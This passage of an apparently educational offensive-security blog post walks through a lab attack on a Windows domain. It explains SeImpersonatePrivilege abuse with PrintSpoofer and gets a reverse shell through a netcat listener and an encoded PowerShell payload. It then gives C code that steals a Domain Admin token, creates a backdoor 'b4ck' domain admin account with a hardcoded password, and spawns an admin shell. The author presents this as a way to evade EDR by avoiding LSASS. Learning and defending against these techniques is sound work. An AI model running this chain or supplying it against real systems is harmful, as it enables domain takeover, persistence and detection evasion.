SQL (IT-ELSWIXCORP\developer  dbo@master)>

Now, let's see what privileges the sqlsvc user has:



As expected, it has the SeImpersonatePrivilege enabled. By default, Windows services have this privilege enabled for the reason we explained when introducing Impersonation Tokens.


Some services that use Windows authentication need to temporarily adapt to the security context of the client user. This usually happens because of privileges. For example, if you expose an SMB share, you definitely don’t want every request to run as SYSTEM, that would be extremely dangerous!


Instead, services can impersonate the user’s security context using this privilege, allowing them to perform the requested action while respecting the user’s own permissions.


Playing from xp_cmdshell is a bit annoying, so let’s get a reverse shell instead. You can use revshells to craft a custom one. In my case, I used PowerShell #3 (Base64).


Since we’re just practicing and focusing on how the exploitation works, I disabled the AV so it doesn’t get in the way. I’ll probably write an article about AV/EDR bypassing in the future.


elswix@ubuntu$ rlwrap nc -lvnp 3001
Listening on 0.0.0.0 3001
Connection received on 192.168.100.31 49788

PS C:\Windows\system32>

From SeImpersonatePrivilege to System


Now, let’s escalate to SYSTEM by abusing SeImpersonatePrivilege. This time, however, it won’t be that easy. In the previous example, I showed a scenario where our “low-privileged” user also had SeDebugPrivilege, which allowed us to steal tokens from other processes.


In this case, we don’t have that privilege, so we need to change our approach a bit.


Generally, when you run into a scenario like this, you’ll use an exploit like GodPotato, PrintSpoofer, and similar ones. These exploits typically allow you to gain SYSTEM privileges by abusing SeImpersonatePrivilege.


But how can you abuse this privilege without accessing tokens from other processes ( without SeDebugPrivilege)? Let’s take a look at how this works under the hood.


Explaination


The key idea here is impersonation.


As explained earlier, in Windows, impersonation is designed to let a service temporarily act on behalf of a client. When a privileged service receives a request from a user, it can impersonate that user’s token to perform actions using the client’s security context. This is a completely legitimate mechanism and is heavily used by Windows services.


SeImpersonatePrivilege is what allows a process to do exactly that: impersonate another token. The important detail is which tokens it is allowed to impersonate.


Here’s where things get interesting.


Many Windows services run as SYSTEM and expose some form of IPC mechanism, named pipes, RPC, COM, etc, that allows lower-privileged users to talk to them. When such a service accepts a connection, Windows often creates a client token representing the connecting user, and the service can choose to impersonate that token.


The key detail with exploits like PrintSpoofer, GodPotato, and similar techniques is that we are not the client, we become the server.


Instead of connecting to a privileged service, the attacker-controlled process starts by creating a server-side IPC endpoint, usually a named pipe, but the same idea applies to other mechanisms (RPC, COM, etc.).


Once this server is up, the next step is to force a SYSTEM process to authenticate to it. This can be done in different ways depending on the exploit, but the result is always the same: a SYSTEM service connects to our server.


And this is where access tokens come into play.


When a client connects to a server over mechanisms like named pipes, Windows creates a token representing the client’s security context and associates it with that connection. In this case, the client is SYSTEM, so the token tied to that connection is a SYSTEM token.


Because our process owns the server endpoint and has SeImpersonatePrivilege, Windows allows us to impersonate the connected client using APIs such as ImpersonateNamedPipeClient for named pipes.


At that moment, we are no longer acting as our original low-privileged user. Our thread is now running under a SYSTEM impersonation token, one that Windows legitimately created as part of the authentication process.


From there, the token flow is exactly what you’d expect:


  • We impersonate the client and obtain a SYSTEM impersonation token
  • We duplicate it into a primary token
  • We spawn a new process using that token
  • We get code execution as SYSTEM

Again, no token stealing, no SeDebugPrivilege, and no direct interaction with other processes’ token handles. The SYSTEM token is legitimately created by Windows as part of the client authentication process.


Of course, the impersonation token must have an impersonation level of SecurityImpersonation or higher, otherwise the server would only be able to identify the client, not perform actions on its behalf, however most of the time you obtain a valid token.


What makes this class of exploits powerful is that they abuse normal Windows authentication and impersonation behavior. Windows is doing exactly what it was designed to do: create access tokens for authenticated clients and allowing servers with SeImpersonatePrivilege to impersonate them.


The "vulnerability" lies in how easy it is to coerce a SYSTEM process into authenticating to an attacker-controlled server, effectively handing over a SYSTEM access token through a perfectly valid impersonation flow. The weakness is not impersonation, but the authentication trigger.


For example, let’s take a look at the PrintSpoofer exploit source code, which is pretty easy to understand. I won’t go into detail about how it coerces authentication from the Print Spooler service, it’s actually quite simple, and you can read it yourself if you’re interested, but for now, let’s take a conceptual look at what’s happening:



Alright, let’s break this down.


First, the exploit checks whether SeImpersonatePrivilege is enabled. This is mandatory, without it, the exploit simply won’t work.


Then, it creates a named pipe using a randomly generated pipe name. This named pipe acts as our listening server endpoint. After the authentication is coerced, this is the pipe that SYSTEM will connect to.


Once the named pipe is set up, the exploit calls a function called TriggerNamedPipeConnection. This function is responsible for forcing a SYSTEM process (the Print Spooler service) to authenticate to our newly created named pipe.



After that, the exploit waits for the authentication to arrive on the named pipe. Once the connection is established, it calls the GetSystem() function, passing the named pipe handle as an argument.


This function is where the actual impersonation happens and where SYSTEM access is obtained. Let’s take a closer look at it.



Initially, it receives the named pipe handle through the hPipe parameter and passes it to ImpersonateNamedPipeClient.


As mentioned before, this function behaves very similarly to ImpersonateLoggedOnUser. The main difference is that, instead of explicitly providing an access token, we provide a named pipe handle. Internally, Windows looks at the security context associated with the client side of that pipe connection.


Since the client that connected to our named pipe is a SYSTEM process, Windows has already created an access token representing SYSTEM for that connection. When ImpersonateNamedPipeClient is called, Windows replaces the current thread token with this client token.


At this point, our thread is no longer running under the original low-privileged user. It is now executing under a SYSTEM impersonation token, obtained through a completely legitimate impersonation flow.


In other words, we are not creating or stealing a token ourselves, we are simply asking Windows to let us impersonate the client that authenticated to our server, and Windows happily does so.


Then, the process is similar to what we’ve done before:



First, it saves the current thread token, which at this point is the impersonated SYSTEM token, into a handle using the OpenThreadToken function. Then, it duplicates this token using DuplicateTokenEx to create a new primary token. This primary token is the one that will later be used to create new processes.


After that, everything is prepared for process creation. If a specific session ID was provided, the exploit modifies the token accordingly using SetTokenInformation. It also performs some additional environment setup, similar to what we’ve already seen before.



Once everything is ready, it calls CreateProcessAsUser, passing the newly created SYSTEM primary token to spawn a new process.


If this call fails, the exploit falls back to CreateProcessWithToken. This usually happens when the Interact with console option (-i) was not specified, but that detail isn’t particularly relevant for the explanation here.


Well, now let's execute the exploit to escalate privileges:


PS C:\Windows\Tasks> .\PrintSpoofer64.exe -cmd "cmd /c powershell -e <BASE64 Reverse Shell>"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

Finally, we get a shell as system:


elswix@ubuntu$ rlwrap nc -lvnp 3002
Listening on 0.0.0.0 3002
Connection received on 192.168.100.31 49891

PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32>

From SYSTEM to Domain Admin


Well, this is an extra step you can also take. Essentially, now we’re going to impersonate a Domain Admin on our system so we can compromise the domain. To do this, a Domain Admin must be interactively logged on to the system. What we’re going to do is steal that user’s token, impersonate it, and then try to compromise the domain by creating a new domain user and adding it to the Domain Admins group.


But how can we achieve this? As mentioned before, one key requirement is that a Domain Admin has interactively logged on to the system, so their credentials are stored in LSASS. Otherwise, this would be a waste of time, since we’d only end up with local admin access, which we already have.


The process is almost the same as what we did earlier when abusing the SeImpersonatePrivilege and SeDebugPrivilege (now we have both, since we’re running as SYSTEM). The difference is that this time we need to hunt for Domain Admin tokens instead of the SYSTEM one, so we have to apply a different filter.


If you run query user, you can list the users that are interactively logged on (sessions):


PS C:\Windows\system32> query user
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
 administrator         console             1  Active      none   1/1/2026 11:42 AM
PS C:\Windows\system32>

To do this demonstration, I’m going to add a new user to the system and make it a local administrator so I can authenticate through LogonUI and get graphical access. This isn’t required to jump to the logged-on Domain Admin, but I want to do it this way because I want to show you something.


Let’s get back to our initial code. This time, instead of impersonating SYSTEM, we’ll impersonate the Administrator user, so we need to apply a different filter. For this purpose, I created the following function:


bool getTokenUser(HANDLE dupHandle, wchar_t* username, wchar_t* domain) {
    DWORD rtLength;
    DWORD user_length = MAX_USERNAME_LENGTH;
    DWORD domain_length = MAX_DOMAINNAME_LENGTH;
    SID_NAME_USE sid;

    GetTokenInformation(dupHandle, TokenUser, NULL, 0, &rtLength);
    PTOKEN_USER tInformation = (PTOKEN_USER)malloc(rtLength);

    if (!tInformation) {
        printf("Memory allocation error\n");
        return FALSE;
    }

    if (!GetTokenInformation(dupHandle, TokenUser, tInformation, rtLength, &rtLength)) {
        free(tInformation);
        return FALSE;
    }

    if (!LookupAccountSidW(NULL, tInformation->User.Sid, username, &user_length,
        domain, &domain_length, &sid)) {
        free(tInformation);
        return FALSE;
    }

    free(tInformation);
    return TRUE;
}

Basically, this function extracts the username associated with the duplicated token. This allows us to compare it and determine whether the token belongs to the Administrator or not.


Nice, now let’s adapt our program to impersonate the Domain Administrator and add a new user to the domain, making it a Domain Admin.


wchar_t username[MAX_USERNAME_LENGTH];
wchar_t domain[MAX_USERNAME_LENGTH];

if (!getTokenUser(dupHandle, username, domain)) {
    printf("[-] Getting token username failed");
    CloseHandle(dupHandle);
    CloseHandle(process);
    continue;
}

printf("[+] User found: %ws\\%ws\n", domain, username);

if (wcscmp(username, L"Administrator") != 0) {
    // Not administrator, skipping.
    CloseHandle(dupHandle);
    CloseHandle(process);
    continue;
}
if (wcscmp(username, L"Administrator") == 0 && (isPrimaryToken(dupHandle) || isImpersonationLevel(dupHandle))) {

    HANDLE adminToken;

    if (!DuplicateTokenEx(dupHandle, TOKEN_ALL_ACCESS, NULL,
        SecurityImpersonation, TokenPrimary, &adminToken)) {
        CloseHandle(dupHandle);
        CloseHandle(process);
        continue;
    }

    if (!ImpersonateLoggedOnUser(adminToken)) {
        printf("[-] An error occurred while impersonating Administrator");
        CloseHandle(dupHandle);
        CloseHandle(process);
        continue;
    }

    // Create local user
    wchar_t newUser[] = L"b4ck";
    const wchar_t dcHostname[] = L"elswixcorp.local";
    USER_INFO_1 ui = { 0 };
    ui.usri1_name = newUser;
    ui.usri1_password = (LPWSTR)L"P4ssw0rd123!";
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_flags = UF_SCRIPT;

    NET_API_STATUS status = NetUserAdd(dcHostname, 1, (LPBYTE)&ui, NULL);

    if (status != NERR_Success) {
        printf("[-] User %ws was not created:\n %d", newUser, GetLastError());
        CloseHandle(process);
        CloseHandle(dupHandle);
        CloseHandle(adminToken); 
        break;
    }

    printf("[+] User %ws added successfully\n", newUser);

    status = NetGroupAddUser(dcHostname, L"Domain Admins", newUser);

    if (status != NERR_Success) {
        printf("[+] User successfully added to Domain Admins group\n");
    }
    else {
        printf("[-] Something went wrong!\n");
    }
}

As you can see, this code is pretty similar to what we did earlier to add a new local administrator user. The main difference is that now we’re impersonating the Domain Administrator, and this time we also need to specify the server, in our case, the domain name.


Now, let's run the program:



It looks like it worked. Let’s check if we can authenticate against the DC:



Great! We’ve successfully created a new domain user and added it to the Domain Admins group.


There are many other approaches you could try to compromise the domain, so feel free to explore them on your own!


Creating Process as Domain Admin


Well, at this point we’ve already pwned the domain, but I want to show you something interesting. What if, instead of creating a new domain user, we want to start a cmd on the workstation, just like we did earlier with NT AUTHORITY\SYSTEM?


Let’s try opening a cmd using CreateProcessWithToken, which is a bit easier to work with. Here’s the code:


if (wcscmp(username, L"Administrator") == 0 && (isPrimaryToken(dupHandle) || isImpersonationLevel(dupHandle))) {

    HANDLE adminToken;
    STARTUPINFO si = { 0 };
    PROCESS_INFORMATION pi = { 0 }; 

    if (!DuplicateTokenEx(dupHandle, TOKEN_ALL_ACCESS, NULL,
        SecurityImpersonation, TokenPrimary, &adminToken)) {
        CloseHandle(dupHandle);
        CloseHandle(process);
        continue;
    }

    CreateProcessWithTokenW(adminToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi);
}

Now, let's run it:



At first glance, it looks like it worked… but why is it showing just a black window?


That’s exactly what I wanted to show you. This happens because of some environment configuration related to the token, specifically, the differences between the session that belongs to the Administrator account and the one we’re currently running in. This only applies to GUI access. If you’re launching a console-only process, you can usually proceed without any further issues.


Let’s try it again, this time using CreateProcessAsUser, and change the token SessionId to match our own to see if that fixes the issue.
However, as I mentioned before, modifying the token SessionId has to be done using SetTokenInformation. The catch is that changing the SessionId of a token requires the Act as part of the operating system privilege (SeTcbPrivilege).


On top of that, CreateProcessAsUser also requires a couple of extra privileges, which we already talked about earlier: SeAssignPrimaryTokenPrivilege and SeIncreaseQuotaPrivilege.


The important detail here is that SeTcbPrivilege is not granted to local administrators. Only NT AUTHORITY\SYSTEM has it.
So the plan is the following: first, we impersonate SYSTEM. Then, while running as SYSTEM, we look for the administrator token and call both SetTokenInformation and CreateProcessAsUser. For CreateProcessAsUser, we still specify the administrator token, we’re just doing the heavy lifting while impersonating SYSTEM.


Now, let's run it:



The same happens, so it’s not just the token SessionId. Even after changing it with SetTokenInformation, the issue remains. The real problem is that Windows doesn’t automatically grant access to the interactive window station and desktop when a process is created with CreateProcessAsUser.


So while the process is running in the correct session, it still lacks the proper permissions to fully interact with the desktop. Because of that, the window gets created but can’t properly render its UI, which is why we only see a blank or black window instead of a usable cmd.


You could try to circumvent this by changing the window station ACEs, as mentioned in this StackOverflow question. However, there’s an even easier alternative: instead of opening a new console, you can just run it in the same PowerShell window.


Here’s what you need to update:


DWORD createFlags = CREATE_UNICODE_ENVIRONMENT;
if (!CreateProcessAsUserW(adminToken, L"C:\\Windows\\System32\\cmd.exe",
                         NULL, NULL, NULL, TRUE, createFlags,
                         hEnvironment, NULL, &si, &pi)) {
    printf("[!] CreateProcessAsUser failed: %d\n", GetLastError());
} else {
    printf("[+] Administrator shell spawned successfully!\n");
    // Needed for opening in current console
    fflush(stdout);
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

Here is the complete code.


Now, let’s run the program with the new changes:



Awesome! This time it worked by just opening in the current window. We’ve successfully obtained a shell as the domain administrator. Once again, this wouldn’t have been a problem if you didn’t need the GUI, but I’m just showing it in case you want to learn how to handle it.


As mentioned at the beginning of the article, this technique is particularly useful when an EDR is installed and a SOC team is monitoring the environment, because it allows us to impersonate a domain user without touching LSASS, which would otherwise have triggered alerts.


Conclusion


Throughout this article, we’ve seen that Windows Access Tokens are far more than an internal implementation detail. They are the core mechanism Windows uses to decide who can do what, and under which security context. Understanding how tokens are created, what information they carry, and how Primary Tokens differ from Impersonation Tokens completely changes the way we look at many privilege escalation techniques that are often used almost mechanically.


By digging into privileges like SeImpersonatePrivilege, it becomes clear that tools such as PrintSpoofer, GodPotato, or JuicyPotato are not “breaking” Windows. Instead, they abuse perfectly legitimate authentication and impersonation flows that exist for services to function properly. The weakness is not the token itself, but how easily a privileged process can be coerced into authenticating to an attacker-controlled endpoint and handing over a powerful token in the process.


The key takeaway is that exploiting without understanding quickly becomes a limitation. Once you truly grasp what’s happening under the hood, how Windows creates, filters, and reuses access tokens, you stop relying blindly on exploits and start reasoning about scenarios, adapting techniques, and spotting opportunities that would otherwise go unnoticed.


I hope you enjoyed this article and that you learned something valuable from it.


Happy Hacking!


Joaquín (AKA elswix)